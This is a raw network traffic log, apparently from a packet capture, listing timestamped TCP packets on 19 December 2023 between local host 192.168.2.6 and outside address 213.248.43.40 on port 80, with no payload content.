Dec 19, 2023 05:18:16.165494919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.165548086 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.165730953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.165795088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166232109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.166284084 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166373014 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.166424036 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166542053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.166598082 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166630030 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.166666031 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166749954 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.166791916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.166984081 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167038918 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.167587042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167646885 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.167660952 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167704105 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.167785883 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167833090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.167881966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167907953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.167927027 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.167948008 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168154955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168215990 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168283939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168294907 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168345928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168417931 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168464899 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168572903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168632030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168842077 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168893099 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.168924093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.168972969 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.169122934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.169169903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.169409037 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.169420958 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.169472933 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.169846058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.169886112 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.169909954 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.169930935 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.169958115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.170036077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.170104027 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.170150995 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171349049 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171406031 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171519995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171550989 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171571016 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171590090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171624899 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171636105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171658039 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.171684980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171708107 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.171987057 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.172034025 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.172636032 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.172691107 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.172847033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.172899008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.173078060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.173126936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.173605919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.173826933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175138950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175405979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175506115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175514936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175643921 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175708055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.175764084 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.176199913 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.176304102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.176568031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.176578045 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.176846981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.177124977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.177263975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.177380085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.177452087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.177598000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178011894 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178118944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178129911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178167105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178277016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178447008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178795099 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.178805113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179203033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179254055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179333925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179743052 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179846048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.179955006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.180130959 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.424741983 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.424854040 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.424966097 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.425014019 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.425210953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.425237894 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.425251007 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.425427914 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.425479889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.426740885 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.426800013 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.426829100 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.429466963 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.429713011 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.429770947 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.433473110 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.445987940 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.446075916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446110010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446110010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446440935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.446486950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446486950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446516991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.446516991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.448148966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.448227882 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.449538946 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.449599981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.450663090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.450711966 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.451634884 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.451683998 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.452868938 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.452912092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.453979969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.454022884 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.455149889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.455204010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.455967903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.456017017 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.458420992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.458501101 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.458519936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.458561897 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.458657980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.458657980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.459450006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.459538937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.459603071 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.460372925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.460463047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.460494041 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.479450941 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.489459038 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.707079887 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.707149029 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.707326889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.707367897 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.707381010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.707546949 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.707807064 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.709250927 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.710131884 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.711376905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.711781979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.711793900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.711926937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.712073088 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.712482929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.715992928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.716007948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.716130972 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.716440916 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.728534937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.728916883 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.728966951 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.729058981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.729378939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.729518890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.729793072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.729837894 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.730048895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.730262995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.730298996 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.730329990 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.730377913 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.730456114 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.730587006 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.730645895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.730649948 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.732543945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.732590914 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.732631922 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.733884096 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.733932972 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.735874891 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.735924006 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.737102032 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.737148046 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.738369942 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.738425970 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.740705967 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.740753889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.740776062 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.740777969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.740817070 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.740937948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.740983009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741149902 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741161108 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741189957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741225958 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741226912 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741225958 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741271973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741312027 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741509914 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741559982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741576910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741619110 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741646051 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.741900921 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.741945028 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742130995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.742182016 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742201090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742264032 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.742317915 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742360115 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742403984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742427111 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742811918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.742897987 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742939949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.742985010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743120909 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743159056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743171930 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743195057 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743207932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743232012 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743251085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743271112 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743278027 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743283033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743309975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743313074 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743323088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743345976 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743448973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743489981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743500948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743541002 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743736029 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743778944 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743822098 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.743865013 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.743979931 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.744014025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.744023085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.744054079 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.744312048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.744379997 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.744410992 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.744455099 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.744492054 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.761437893 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.989293098 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.989427090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012275934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012444973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012561083 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012573004 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012631893 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.012813091 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012847900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.012862921 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.012888908 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.013137102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.013179064 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.013886929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.013932943 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014111042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014153004 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014204979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014215946 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014225960 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014241934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014256001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014275074 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014305115 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014445066 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014489889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014494896 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014537096 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.014559031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.014597893 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.015784979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.015830994 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017040968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017087936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017447948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017499924 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017551899 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017589092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017589092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017602921 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017646074 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017682076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017723083 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.017751932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.017802000 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.019207001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.019253969 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.020219088 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.020262957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.020390034 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.020430088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.020514965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.020555973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023097992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023111105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023138046 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023150921 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023247004 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023288965 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023305893 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023349047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023359060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023400068 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023422003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023463964 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.023729086 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023770094 CET	49712	80	192.168.2.6	213.248.43.40
